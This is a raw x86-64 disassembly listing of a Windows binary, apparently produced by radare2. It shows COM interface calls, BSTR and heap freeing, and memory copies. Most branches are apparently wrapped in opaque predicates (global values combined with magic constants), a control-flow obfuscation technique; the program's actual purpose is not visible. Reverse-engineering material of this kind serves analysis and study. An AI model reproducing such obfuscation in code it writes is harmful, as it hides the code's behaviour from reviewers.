cmp eax, 0x3b979a08
jae 0x14001f92b
sub rsp, 0x20
mov rcx, r14
mov rdx, qword [rbp + 0x1c8]
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov edx, 3
mov rcx, rsi
call fcn.1400dd2c0
add rsp, 0x20
mov rdi, rax
sub rsp, 0x20
mov rcx, r14
mov rdx, rbx
call fcn.1400dd2c0
add rsp, 0x20
mov rcx, qword [rbp + 0x60]
mov qword [rbp + 0x1d0], 0
mov r10, qword [rcx]
sub rsp, 0x30
lea rdx, [rbp + 0x1d0]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], 0
mov rdx, rdi
mov r8, rax
mov r9d, 0x30
call qword [r10 + 0xa0]
add rsp, 0x30
mov r13, rsi
mov r12, qword [rbp + 0x1c8]
nop word cs:[rax + rax]
mov esi, dword [0x141dc2bf8]
or esi, dword [0x141dc2bfc]
and esi, 0x83c68344
xor esi, 0x3beb2fa
add esi, 0xc98dd32d
sub rsp, 0x20
mov rcx, r14
mov rdx, r12
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov edx, 3
mov rcx, r13
call fcn.1400dd2c0
add rsp, 0x20
mov r15, rax
sub rsp, 0x20
mov rcx, r14
mov rdx, rbx
call fcn.1400dd2c0
add rsp, 0x20
mov rdi, rax
mov rcx, qword [rbp + 0x60]
mov qword [rbp + 0x1d0], 0
mov rax, qword [rcx]
sub rsp, 0x30
lea rdx, [rbp + 0x1d0]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], 0
mov rdx, r15
mov r8, rdi
mov r9d, 0x30
call qword [rax + 0xa0]
add rsp, 0x30
cmp esi, 0xcff2853e
ja 0x14001f940
mov qword [rbp + 0x258], r14
mov r14, rbx
test eax, eax
js 0x140020870
mov r12, qword [sym.imp.KERNEL32.dll_HeapFree]
mov ecx, 0xa8563bc1
lea rbx, [rbp + 0xd0]
nop dword [rax]
mov eax, dword [0x141dc2c00]
imul eax, dword [0x141dc2c04]
cmp eax, 0xfd91483e
je 0x14001fa10
mov r13, qword [rbp + 0x1d0]
nop dword [rax + rax]
mov eax, dword [0x141dc2c08]
and eax, dword [0x141dc2c0c]
or eax, 0xbef5e983
imul eax, eax, 0xda06545f
add eax, 0x24686b83
cmp eax, 0x6fe8be0b
jb 0x14001fa30
test r13, r13
je 0x140020fb0
nop dword [rax]
mov eax, dword [0x141dc2c50]
xor eax, dword [0x141dc2c54]
or eax, 0xf9626460
imul rax, rcx
shr rax, 0x3f
imul eax, eax, 0x9cbfb4e7
cmp eax, 0xb19ea35c
ja 0x14001fa60
nop word cs:[rax + rax]
mov eax, dword [0x141dc2c58]
mov ecx, dword [0x141dc2c5c]
add eax, ecx
add eax, 0x6dfca905
cmp eax, 0xa508106e
ja 0x14001fa90
test rdi, rdi
je 0x14001faf0
mov eax, dword [0x141dc2c60]
sub eax, dword [0x141dc2c64]
or eax, 0x939fef3b
add eax, 0x42effa05
cmp eax, 0x70ccf602
jae 0x14001fadd
sub rsp, 0x20
mov rcx, rdi
call qword [sym.imp.oleaut32.dll_SysFreeString]
add rsp, 0x20
sub rsp, 0x20
mov rcx, rdi
call qword [sym.imp.oleaut32.dll_SysFreeString]
add rsp, 0x20
nop
mov eax, dword [0x141dc2c68]
xor edx, edx
div dword [0x141dc2c6c]
add eax, 0x3df38826
xor eax, 0xe89ec9d9
add eax, 0x13c37bbd
cmp eax, 0xe1bdbd44
jb 0x14001faf0
test r15, r15
lea rsi, [rbp + 0x1d0]
je 0x14001fb31
sub rsp, 0x20
mov rcx, r15
call qword [sym.imp.oleaut32.dll_SysFreeString]
add rsp, 0x20
test r14, r14
lea r15, [rbp + 0xd8]
je 0x14001fb7c
mov eax, dword [0x141dc2c70]
and eax, dword [0x141dc2c74]
add eax, 0x47648ba7
and eax, 0x84088000
cmp eax, 0xb3ed4461
jbe 0x14001fb61
mov rax, qword [0x141ddb260]
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
mov r8, qword [rbp + 0x258]
call r12
add rsp, 0x20
mov byte [rbp + 0x80], 0x12
mov qword [rbp + 0x1d0], 0
mov dword [rbp + 0x1c4], 0
mov rax, qword [r13]
sub rsp, 0x30
lea rcx, [rbp + 0x1c4]
mov qword [rsp + 0x20], rcx
mov rcx, r13
mov edx, 0xffffffff
mov r8d, 1
mov r9, rsi
call qword [rax + 0x20]
add rsp, 0x30
mov edi, eax
test eax, eax
js 0x140020ae0
nop
mov eax, dword [0x141dc2c88]
imul eax, dword [0x141dc2c8c]
add eax, 0x99f72369
or eax, 0x44b122f1
imul eax, eax, 0x8dccf1bf
cmp eax, 0x6ce80bc6
ja 0x14001fbd0
mov eax, dword [rbp + 0x1c4]
mov r14, qword [rbp + 0x1a8]
nop word cs:[rax + rax]
mov ecx, dword [0x141dc2c90]
imul ecx, dword [0x141dc2c94]
cmp ecx, 0x1af41cf2
je 0x14001fc10
test eax, eax
je 0x140020c0c
mov r8, qword [rbp + 0x1d0]
nop word cs:[rax + rax]
mov eax, dword [0x141dc2ca0]
imul eax, dword [0x141dc2ca4]
and eax, 0x9275e159
imul eax, eax, 0xa6d329bd
or eax, 0x481a3950
cmp eax, 0xd0b093dc
ja 0x14001fc40
nop word cs:[rax + rax]
mov eax, dword [0x141dc2ca8]
and eax, dword [0x141dc2cac]
xor eax, 0xbee00524
imul eax, eax, 0x6d80b4e2
cmp eax, 0x38c648a8
je 0x14001fc70
test r8, r8
je 0x140020c55
sub rsp, 0x20
mov rcx, rbx
mov rdx, r8
call fcn.140003490
add rsp, 0x20
mov rsi, qword [rbp + 0xd0]
movups xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movaps xmmword [rbp + 0x1d0], xmm0
movaps xmmword [rbp + 0x1e0], xmm1
test rsi, rsi
je 0x140020cc4
mov rdi, qword [rbp + 0xf8]
movdqu xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movdqa xmmword [rbp + 0xb0], xmm0
movaps xmmword [rbp + 0xc0], xmm1
mov eax, dword [0x141dc2cc8]
or eax, dword [0x141dc2ccc]
xor eax, 0x91b523e2
imul eax, eax, 0x8874a4fa
add eax, 0xe1fece86
cmp eax, 0xb438eef2
jae 0x14001fd2f
movzx eax, byte [0x141ddb278]
sub rsp, 0x20
mov edx, 0xc0
xor ecx, ecx
call fcn.1400c0180
add rsp, 0x20
movzx eax, byte [0x141ddb278]
sub rsp, 0x20
mov edx, 0xc0
xor ecx, ecx
call fcn.1400c0180
add rsp, 0x20
mov qword [rbp + 0x260], rax
test rax, rax
je 0x140020f1a
mov eax, dword [0x141dc2cd0]
and eax, dword [0x141dc2cd4]
and eax, 0xa0424b2a
add eax, 0x3fa21e19
xor eax, 0xfc4c11b8
cmp eax, 0x31e6132e
jae 0x14001fdb6
mov rax, qword [rbp + 0x260]
mov qword [rax], rsi
movdqa xmm0, xmmword [rbp + 0xb0]
movaps xmm1, xmmword [rbp + 0xc0]
movdqu xmmword [rax + 8], xmm0
movups xmmword [rax + 0x18], xmm1
mov qword [rax + 0x28], rdi
mov qword [rbp + 0x38], 4
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], 1
mov rax, qword [rbp + 0x260]
mov qword [rax], rsi
movdqa xmm0, xmmword [rbp + 0xb0]
movaps xmm1, xmmword [rbp + 0xc0]
movdqu xmmword [rax + 8], xmm0
movups xmmword [rax + 0x18], xmm1
mov qword [rax + 0x28], rdi
mov qword [rbp + 0x38], 4
mov qword [rbp + 0x40], rax
mov qword [rbp + 0x48], 1
mov eax, dword [0x141dc2cd8]
or eax, dword [0x141dc2cdc]
imul rax, rax, 0x1567c55b
shr rax, 0x3a
imul eax, eax, 0x30a10c02
add eax, 0x3644d546
cmp eax, 0x16ac214d
jb 0x14001fdf0
mov eax, 1
mov qword [rbp + 0x270], rax
nop word cs:[rax + rax]
lea rsi, [rbp + 0x1d0]
mov eax, dword [0x141dc2ce0]
or eax, dword [0x141dc2ce4]
xor eax, 0x5551cdd4
imul eax, eax, 0xc4144293
cmp eax, 0x681d8a7f
jne 0x14001fe96
mov qword [rbp + 0x1d0], 0
mov dword [rbp + 0x1c4], 0
mov rax, qword [r13]
sub rsp, 0x30
lea rcx, [rbp + 0x1c4]
mov qword [rsp + 0x20], rcx
mov rcx, r13
mov edx, 0xffffffff
mov r8d, 1
mov r9, rsi
call qword [rax + 0x20]
add rsp, 0x30
mov qword [rbp + 0x1d0], 0
mov dword [rbp + 0x1c4], 0
mov rax, qword [r13]
sub rsp, 0x30
lea rcx, [rbp + 0x1c4]
mov qword [rsp + 0x20], rcx
mov rcx, r13
mov edx, 0xffffffff
mov r8d, 1
mov r9, rsi
call qword [rax + 0x20]
add rsp, 0x30
mov edi, eax
test eax, eax
js 0x140020100
mov eax, dword [rbp + 0x1c4]
nop word [rax + rax]
mov ecx, dword [0x141dc2cf8]
add ecx, dword [0x141dc2cfc]
xor ecx, 0xbdbb64f7
add ecx, 0xad4e49a6
and ecx, 0xf7b3cd15
cmp ecx, 0xbe93bfbe
ja 0x14001fef0
test eax, eax
mov edx, 0xb2a19a25
je 0x1400201b0
mov r14, qword [rbp + 0x1d0]
test r14, r14
je 0x1400201d0
nop word cs:[rax + rax]
mov edi, dword [0x141dc2d10]
and edi, dword [0x141dc2d14]
or edi, 0xbbbdfbbe
xor edi, 0x1c66680e
sub rsp, 0x20
mov rcx, rbx
mov rdx, r14
call fcn.140003490
add rsp, 0x20
mov rsi, qword [rbp + 0xd0]
movdqu xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movdqa xmmword [rbp + 0x1d0], xmm0
movaps xmmword [rbp + 0x1e0], xmm1
cmp edi, 0x7d71880e
jb 0x14001ff40
test rsi, rsi
je 0x1400201e0
mov eax, dword [0x141dc2d50]
xor edx, edx
div dword [0x141dc2d54]
add eax, 0xa623128a
and eax, 0xdba78c3f
add eax, 0x243ddda1
cmp eax, 0x3dcf6ea1
jae 0x14001ffd9
movdqu xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movaps xmmword [rbp + 0x240], xmm1
movdqa xmmword [rbp + 0x230], xmm0
mov rdi, qword [rbp + 0xf8]
movdqu xmm0, xmmword [r15]
movups xmm1, xmmword [r15 + 0x10]
movdqa xmmword [rbp + 0x230], xmm0
movaps xmmword [rbp + 0x240], xmm1
nop dword [rax]
mov eax, dword [0x141dc2d58]
sub eax, dword [0x141dc2d5c]
add eax, 0xe7e68435
or eax, 0xc82aa94b
add eax, 0xcd753eab
cmp eax, 0xe0e66df1
ja 0x140020000
mov rdx, qword [rbp + 0x270]
cmp rdx, qword [rbp + 0x38]
je 0x140020074
lea rax, [rdx + rdx*2]
shl rax, 4
mov rcx, qword [rbp + 0x260]
mov qword [rcx + rax], rsi
movdqa xmm0, xmmword [rbp + 0x230]
movaps xmm1, xmmword [rbp + 0x240]
movdqu xmmword [rcx + rax + 8], xmm0
movups xmmword [rcx + rax + 0x18], xmm1
mov qword [rcx + rax + 0x28], rdi
inc rdx
mov qword [rbp + 0x270], rdx
mov qword [rbp + 0x48], rdx
jmp 0x14001fe30
sub rsp, 0x30
mov qword [rsp + 0x20], 0x30
mov r8d, 1
mov r9d, 8
lea rcx, [rbp + 0x38]
call fcn.1400fe010
add rsp, 0x30
nop word [rax + rax]
mov eax, dword [0x141dc2d60]
xor edx, edx
div dword [0x141dc2d64]
and eax, 0x81010000
cmp eax, 0x4320512f
ja 0x1400200a0
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x260], rax
nop word cs:[rax + rax]
mov eax, dword [0x141dc2d68]
imul eax, dword [0x141dc2d6c]
or eax, 0xffcf6f93
imul eax, eax, 0xca31a0ad
cmp eax, 0x270cdb4a
jb 0x1400200d0
mov rdx, qword [rbp + 0x270]
jmp 0x14002002f
mov eax, dword [0x141dc2ce8]
and eax, dword [0x141dc2cec]
xor eax, 0x8519239c
add eax, 0x786dc701
mov qword [rbp + 0xd0], 0
cmp eax, 0x2ee5900f
jb 0x140020100
sub rsp, 0x20
xor esi, esi
xor ecx, ecx
mov rdx, rbx
call qword [sym.imp.oleaut32.dll_GetErrorInfo]
add rsp, 0x20
mov rcx, qword [rbp + 0xd0]
test rcx, rcx
je 0x1400201f3
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov rbx, qword [rbp + 0x270]
nop word cs:[rax + rax]
mov eax, dword [0x141dc2cf0]
xor eax, dword [0x141dc2cf4]
imul eax, eax, 0xd399cbf0
xor eax, 0xac3a6680
cmp eax, 0x1e60a295
jbe 0x140020170
xor esi, esi
mov dword [rbp + 0x78], edi
mov edx, 0xb2a19a25
mov rcx, qword [rbp + 0x1d0]
test rcx, rcx
jne 0x140020210
jmp 0x140020260
mov sil, 0x13
mov rbx, qword [rbp + 0x270]
mov rcx, qword [rbp + 0x1d0]
test rcx, rcx
jne 0x140020210
jmp 0x140020260
mov sil, 0xf
mov rbx, qword [rbp + 0x270]
jmp 0x1400202c0
mov qword [rbp + 0x1a8], r14
mov rbx, qword [rbp + 0x270]
jmp 0x140020340
mov dword [rbp + 0x78], edi
mov edx, 0xb2a19a25
mov rbx, qword [rbp + 0x270]
mov rcx, qword [rbp + 0x1d0]
test rcx, rcx
je 0x140020260
nop
mov edx, 0xd2246025
nop word cs:[rax + rax]
mov eax, dword [0x141dc2d00]
sub eax, dword [0x141dc2d04]
imul rax, rdx
shr rax, 0x3f
or eax, 0xda6cae3a
cmp eax, 0xe179a59c
ja 0x140020220
mov rax, qword [rcx]
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
mov edx, 0xb2a19a25
nop word cs:[rax + rax]
mov eax, dword [0x141dc2d08]
imul eax, dword [0x141dc2d0c]
imul rax, rdx
shr rax, 0x3f
or eax, 0xcbac7dda
cmp eax, 0xe9039120
ja 0x140020260
test edi, edi
js 0x1400202c0
mov qword [rbp + 0x1a8], r14
nop dword [rax]
mov eax, dword [0x141dc2d48]
and eax, dword [0x141dc2d4c]
add eax, 0x633dcec
or eax, 0xec1a6596
add eax, 0x88123105
cmp eax, 0x1de1e0b8
jbe 0x140020290
mov r14, qword [rbp + 0x1b8]
jmp 0x14002046e
mov byte [rbp + 0xd8], sil
movzx eax, byte [rbp + 0x77]
mov byte [r15 + 3], al
movzx eax, word [rbp + 0x75]
mov word [r15 + 1], ax
mov eax, dword [rbp + 0x78]
mov dword [rbp + 0xdc], eax
mov qword [rbp + 0x1a8], r14
mov qword [rbp + 0xe0], r14
movups xmm0, xmmword [rbp + 0xb0]
movups xmmword [r15 + 0x10], xmm0
movzx eax, byte [r15]
movzx ecx, word [r15 + 1]
movzx edx, byte [r15 + 3]
mov r8, qword [r15 + 4]
mov r9d, dword [r15 + 0xc]
movdqu xmm0, xmmword [r15 + 0x10]
mov byte [rbp + 0x1d0], al
mov word [rbp + 0x1d1], cx
mov byte [rbp + 0x1d3], dl
mov qword [rbp + 0x1d4], r8
mov dword [rbp + 0x1dc], r9d
movdqa xmmword [rbp + 0x1e0], xmm0
mov r14, qword [rbp + 0x1b8]
nop word [rax + rax]
mov eax, dword [0x141dc2d18]
or eax, dword [0x141dc2d1c]
or eax, 0xcc735e46
imul eax, eax, 0x8302dd4a
cmp eax, 0xa1d7d2db
ja 0x140020350
movzx eax, byte [rbp + 0x80]
cmp eax, 0x12
je case.0x1400203ba.0
nop
mov ecx, dword [0x141dc2d20]
sub ecx, dword [0x141dc2d24]
imul ecx, ecx, 0x4248189f
add ecx, 0x85cb0195
or ecx, 0x25239139
cmp ecx, 0x425e1e10
jb 0x140020380
cmp rax, 0x10
ja case.0x1400203ba.6
lea rcx, [0x141dba058]
movsxd rax, dword [rcx + rax*4]
add rax, rcx
jmp rax
mov rcx, qword [rbp + 0x88]
nop word cs:[rax + rax]
mov eax, dword [str._t3_r]
sub eax, dword [0x141dc2d2c]
add eax, 0xad7f437e
or eax, 0x6ac9e19
and eax, 0xe6affe9d
cmp eax, 0x42d191e0
ja 0x1400203d0
jmp 0x14002084f
mov eax, dword [0x141dc2d30]
add eax, dword [0x141dc2d34]
imul eax, eax, 0x1bdb4952
cmp eax, 0x97f8b6f8
je case.0x1400203ba.10
mov eax, 0x10
cmp qword [rbp + 0x88], 0
je case.0x1400203ba.0
mov r8, qword [rbp + rax + 0x80]
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
call r12
add rsp, 0x20
nop word cs:[rax + rax]
movdqa xmm0, xmmword [rbp + 0x1d0]
movaps xmm1, xmmword [rbp + 0x1e0]
movdqa xmmword [rbp + 0x80], xmm0
movaps xmmword [rbp + 0x90], xmm1
mov rax, qword [r13]
sub rsp, 0x20
mov rcx, r13
call qword [rax + 0x10]
add rsp, 0x20
mov rcx, qword [rbp + 0x38]
cmp byte [rbp + 0x80], 0x12
jne 0x140020da7
nop word cs:[rax + rax]
mov eax, dword [0x141dc2d78]
imul eax, dword [0x141dc2d7c]
imul eax, eax, 0xc1d03b67
cmp eax, 0xfe46749d
je 0x1400204a0
test rbx, rbx
je 0x140020d24
mov qword [rbp + 0xa0], rcx
xor r14d, r14d
mov rsi, qword [rbp + 0x260]
jmp 0x140020506
add r15, rdi
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
mov r8, r15
call r12
add rsp, 0x20
inc r14
cmp r14, rbx
je 0x140020700
lea r15, [r14 + r14*2]
shl r15, 4
mov rax, qword [rsi + r15 + 8]
mov qword [rbp + 0x258], rax
test rax, rax
je 0x1400204fa
mov qword [rbp + 0x268], r14
add r15, rsi
nop dword [rax]
mov eax, dword [0x141dc2dc8]
and eax, dword [0x141dc2dcc]
and eax, 0x2e5cc383
imul eax, eax, 0xea5b91b3
add eax, 0x360b96
cmp eax, 0xc02fd23d
jb 0x140020530
mov r12, qword [r15 + 0x18]
test r12, r12
je 0x140020670
mov eax, dword [0x141dc2dd0]
and eax, dword [0x141dc2dd4]
and eax, 0xc14002
cmp eax, 0x5dac3011
ja 0x140020560
mov rbx, qword [r15]
movdqa xmm0, xmmword [rbx]
pmovmskb r14d, xmm0
not r14d
lea rsi, [rbx + 0x10]
jmp 0x1400205ba
lea r13d, [r14 - 1]
and r13d, r14d
dec r12
add rdi, 0xffffffffffffffe0
sub rsp, 0x20
mov rcx, rdi
call fcn.14000f420
add rsp, 0x20
mov r14d, r13d
test r12, r12
je 0x140020670
test r14w, r14w
jne 0x14002060e
movdqa xmm0, xmmword [rsi]
pmovmskb r14d, xmm0
add rbx, 0xfffffffffffffc80
add rsi, 0x10
cmp r14d, 0xffff
je 0x1400205c0
nop dword [rax]
mov eax, dword [0x141dc2dd8]
xor edx, edx
div dword [0x141dc2ddc]
imul rax, rax, 0x5fbf3c05
shr rax, 0x3d
imul eax, eax, 0xd8859aa2
add eax, 0x8c04ee7e
cmp eax, 0xf7482297
ja 0x1400205e0
not r14d
tzcnt eax, r14d
neg rax
imul rax, rax, 0x38
lea rdi, [rbx + rax]
cmp qword [rbx + rax - 0x38], 0
je 0x140020590
nop word [rax + rax]
mov eax, dword [0x141dc2de0]
add eax, dword [0x141dc2de4]
imul eax, eax, 0x719218d8
add eax, 0x41ef9745
cmp eax, 0x446ed9bc
jb 0x140020630
mov r8, qword [rdi - 0x30]
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
jmp 0x140020590
mov r8, qword [rbp + 0x258]
lea rax, [r8 + 1]
mov ecx, 0x38
mul rcx
mov rdi, rax
add rdi, 0xf
and rdi, 0xfffffffffffffff0
add r8, rdi
cmp r8, 0xffffffffffffffef
mov r12, qword [sym.imp.KERNEL32.dll_HeapFree]
mov rsi, qword [rbp + 0x260]
mov rbx, qword [rbp + 0x270]
mov r14, qword [rbp + 0x268]
je 0x1400204fa
mov r15, qword [r15]
mov eax, dword [0x141dc2de8]
add eax, dword [0x141dc2dec]
neg rdi
imul eax, eax, 0xb0fa0b19
add eax, 0xe22b2965
cmp eax, 0xd8fab55a
jbe 0x1400204e0
lea r8, [r15 + rdi]
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
call r12
add rsp, 0x20
jmp 0x1400204e0
cmp qword [rbp + 0xa0], 0
je 0x140020744
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
mov r8, rsi
call r12
add rsp, 0x20
nop word cs:[rax + rax]
mov eax, dword [0x141dc2df0]
imul eax, dword [0x141dc2df4]
cmp eax, 0xaf05a4a4
je 0x140020730
mov r15, qword [rbp + 0x1b8]
mov ecx, 0x8f324821
mov eax, dword [0x141dc2df8]
add eax, dword [0x141dc2dfc]
shr eax, 1
imul rax, rcx
shr rax, 0x3e
imul eax, eax, 0xb9104846
add eax, 0x757917c1
cmp eax, 0xbc43c066
ja 0x140020750
cmp qword [rbp + 0x1b0], 0
je 0x14001f6f7
mov rdi, qword [0x141ddb260]
mov eax, dword [0x141dc2e00]
and eax, dword [0x141dc2e04]
imul rcx, rax, 0x40d989c9
shr rcx, 0x20
sub eax, ecx
shr eax, 1
add eax, ecx
shr eax, 0x1d
imul eax, eax, 0x310a68d0
cmp eax, 0x997c691
jae 0x14001f6e0
sub rsp, 0x20
mov rcx, rdi
xor edx, edx
mov r8, qword [rbp + 0x1c8]
call r12
add rsp, 0x20
jmp 0x14001f6e0
mov rcx, qword [rbp + 0x90]
nop word cs:[rax + rax]
mov eax, dword [0x141dc2d40]
imul eax, dword [0x141dc2d44]
or eax, 0x66049010
and eax, 0x67d49c95
imul eax, eax, 0x924ba7aa
cmp eax, 0x7a7ae805
jb 0x1400207f0
mov eax, 8
test rcx, rcx
jne 0x140020428
jmp case.0x1400203ba.0
mov rcx, qword [rbp + 0x88]
nop
mov eax, dword [0x141dc2d38]
xor edx, edx
div dword [0x141dc2d3c]
or eax, 0x6f39cbb7
and eax, 0x6ffbebf7
cmp eax, 0xcc2aa161
ja 0x140020830
mov eax, 0x10
test rcx, rcx
jne 0x140020428
jmp case.0x1400203ba.0
mov eax, dword [0x141dc2c10]
xor edx, edx
div dword [str.FPH_bRrXvTBM]
shr eax, 3
imul rax, rax, 0x41b4565
shr rax, 0x37
xor eax, 0x7660a6ef
add eax, 0x7fc7fe05
cmp eax, 0x4a78e947
jb 0x140020870
mov eax, dword [0x141dc2c18]
xor edx, edx
div dword [0x141dc2c1c]
mov ecx, 0xb976976b
imul rcx, rax
shr rcx, 0x3e
add ecx, 0xc1d43e02
cmp ecx, 0xf1ccd3e3
ja 0x140020f68
jmp 0x140020f1c
lea rax, [r15*8]
lea rax, [rax + rax*2]
mov ecx, 0xd8
sub rcx, rax
lea rax, [r15 + r15*2]
lea rbx, [rdx + rax*8]
movabs r9, 0xaaaaaaaaaaaaaaab
nop word cs:[rax + rax]
mov r8d, dword [0x141dc2b80]
imul r8d, dword [0x141dc2b84]
mov rax, rcx
mul r9
cmp r8d, 0x8bb04e4f
je 0x140020900
cmp r15, 9
je 0x1400209fa
mov rsi, rdx
shr rsi, 4
xor r14d, r14d
nop word cs:[rax + rax]
lea rax, [r14 + r14*2]
cmp qword [rbx + rax*8], 0
je 0x14002099f
lea rax, [rbx + rax*8]
mov rdi, qword [rax + 8]
nop word cs:[rax + rax]
mov eax, dword [0x141dc2b88]
xor edx, edx
div dword [0x141dc2b8c]
add eax, 0xe0c64cf9
and eax, 0x1957a8c5
imul r15d, eax, 0x683da2c2
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
mov r8, rdi
call r12
add rsp, 0x20
cmp r15d, 0xdbf32592
ja 0x140020960
inc r14
nop word cs:[rax + rax]
mov eax, dword [0x141dc2b90]
or eax, dword [0x141dc2b94]
imul eax, eax, 0x395c1877
cmp eax, 0xa1f5beda
je 0x1400209b0
nop dword [rax]
mov eax, dword [0x141dc2b98]
sub eax, dword [0x141dc2b9c]
imul rax, rax, 0x7e9426b9
shr rax, 0x3b
and eax, 4
cmp eax, 0x95cafb1e
ja 0x1400209d0
cmp r14, rsi
jne 0x140020940
mov eax, dword [0x141dc2ba0]
imul eax, dword [0x141dc2ba4]
and eax, 0xc18de4ba
shr eax, 1
imul rax, rax, 0x4084eb25
shr rax, 0x38
add eax, 0x357adef3
cmp eax, 0x7e21b722
mov rsi, qword [rbp + 0xa8]
jbe 0x140020a46
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
mov r8, rsi
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
mov rsi, qword [rbp + 0x60]
mov eax, dword [0x141dc2ba8]
xor eax, dword [0x141dc2bac]
imul eax, eax, 0x15d925c3
or eax, 0x2dbb4b8a
imul eax, eax, 0xf82aba01
cmp eax, 0xc8f922e0
jae 0x140020aa0
mov rax, qword [rsi]
sub rsp, 0x20
mov rcx, rsi
call qword [rax + 0x10]
add rsp, 0x20
nop dword [rax]
mov edi, dword [0x141dc2bb0]
sub edi, dword [0x141dc2bb4]
and edi, 0x4021484
add edi, 0x28b8aac6
mov rax, qword [rsi]
sub rsp, 0x20
mov rcx, rsi
call qword [rax + 0x10]
add rsp, 0x20
cmp edi, 0xc3fed015
ja 0x140020aa0
mov dword [rbp + 0x1a8], 0
jmp 0x1400210e6
mov qword [rbp + 0xd0], 0
sub rsp, 0x20
lea rdx, [rbp + 0xd0]
xor ecx, ecx
call qword [sym.imp.oleaut32.dll_GetErrorInfo]
add rsp, 0x20
mov rcx, qword [rbp + 0xd0]
test rcx, rcx
je 0x140020b57
mov rax, qword [rcx]
nop word cs:[rax + rax]
mov edx, dword [0x141dc2c78]
imul edx, dword [0x141dc2c7c]
xor edx, 0x64d57531
add edx, 0xf7fe9532
cmp edx, 0x8f60e111
ja 0x140020b20
sub rsp, 0x20
call qword [rax + 0x10]
add rsp, 0x20
jmp 0x140020b57
mov byte [rbp + 0x230], 0
mov eax, dword [0x141dc2c80]
sub eax, dword [0x141dc2c84]
add eax, 0x882d814e
xor eax, 0x48769624
add eax, 0x50fd286a
mov byte [rbp + 0x230], 0
cmp eax, 0x687eab55
jb 0x140020b50
mov dword [rbp + 0x234], edi
xor ebx, ebx
mov rsi, qword [rbp + 0x1d0]
test rsi, rsi
je 0x140020c25
mov rax, qword [rsi]
mov ecx, dword [0x141dc2c98]
xor ecx, dword [0x141dc2c9c]
mov r14, qword [rax + 0x10]
xor ecx, 0x2e5a8f57
add ecx, 0xdb267fc5
cmp ecx, 0xe9b2dca2
jbe 0x140020bcd
sub rsp, 0x20
mov rcx, rsi
call r14
add rsp, 0x20
sub rsp, 0x20
mov rcx, rsi
call r14
add rsp, 0x20
test edi, edi
jns 0x140020c29
mov r8, qword [rbp + 0x238]
nop word cs:[rax + rax]
mov eax, dword [0x141dc2cb0]
xor edx, edx
div dword [0x141dc2cb4]
and eax, 0xd9bd36c7
cmp eax, 0x645aa734
je 0x140020bf0
jmp 0x140020c57
mov byte [rbp + 0x230], 0x13
mov bl, 0x13
mov rsi, qword [rbp + 0x1d0]
test rsi, rsi
jne 0x140020b98
test edi, edi
js 0x140020bdf
mov eax, dword [0x141dc2cb8]
sub eax, dword [0x141dc2cbc]
imul rax, rax, 0x57c63741
shr rax, 0x3d
or eax, 0x1adc5402
cmp eax, 0xb53393b5
ja 0x140021e85
jmp 0x140021e51
mov bl, 0xf
mov byte [rbp + 0xd8], bl
lea rdx, [rbp + 0x240]
mov eax, dword [rdx - 0xf]
mov ecx, dword [rdx - 0xc]
mov dword [r15 + 4], ecx
mov dword [r15 + 1], eax
mov qword [rbp + 0xe0], r8
movups xmm0, xmmword [rdx]
movups xmmword [r15 + 0x10], xmm0
movzx eax, byte [r15]
mov ecx, dword [r15 + 1]
movzx edx, word [r15 + 5]
movzx r8d, byte [r15 + 7]
mov r9, qword [r15 + 8]
movups xmm0, xmmword [r15 + 0x10]
movaps xmmword [rbp + 0x1e0], xmm0
mov byte [rbp + 0x1d0], al
mov dword [rbp + 0x1d1], ecx
mov word [rbp + 0x1d5], dx
mov byte [rbp + 0x1d7], r8b
mov qword [rbp + 0x1d8], r9
movzx eax, byte [rbp + 0x1d0]
mov ecx, dword [rbp + 0x1d1]
movzx edx, word [rbp + 0x1d5]
movzx r8d, byte [rbp + 0x1d7]
mov r9, qword [rbp + 0x1d8]
movdqa xmm0, xmmword [rbp + 0x1e0]
movdqa xmmword [rbp + 0x90], xmm0
mov byte [rbp + 0x80], al
mov dword [rbp + 0x81], ecx
mov word [rbp + 0x85], dx
mov byte [rbp + 0x87], r8b
mov qword [rbp + 0x88], r9
movzx ebx, byte [rbp + 0x80]
jmp 0x140021e9d
test rcx, rcx
je 0x140021ebf
mov rcx, qword [0x141ddb260]
sub rsp, 0x20
xor edx, edx
mov r8, qword [rbp + 0x260]
call qword [sym.imp.KERNEL32.dll_HeapFree]
add rsp, 0x20
jmp 0x140021ebf
mov eax, dword [0x141dc2be0]
or eax, dword [0x141dc2be4]
xor eax, 0x183694d6
add eax, 0x5c07eab8
and eax, 0xb80846e0
cmp eax, 0x83edf0d3
jbe 0x140020d74
ud2
ud2
mov r14, rcx
test rbx, rbx
mov rbx, qword [rbp + 0x260]
je 0x140020e18
xor edi, edi
jmp 0x140020de3
shl rsi, 4
add rsi, rbx
inc rdi
sub rsp, 0x20
mov rcx, rsi
call fcn.14000d4f0
add rsp, 0x20
cmp rdi, qword [rbp + 0x270]
je 0x140020e18
mov eax, dword [0x141dc2d70]
and eax, dword [0x141dc2d74]
add eax, 0xd9f895d7
lea rsi, [rdi + rdi*2]
cmp eax, 0x6ac6aa16
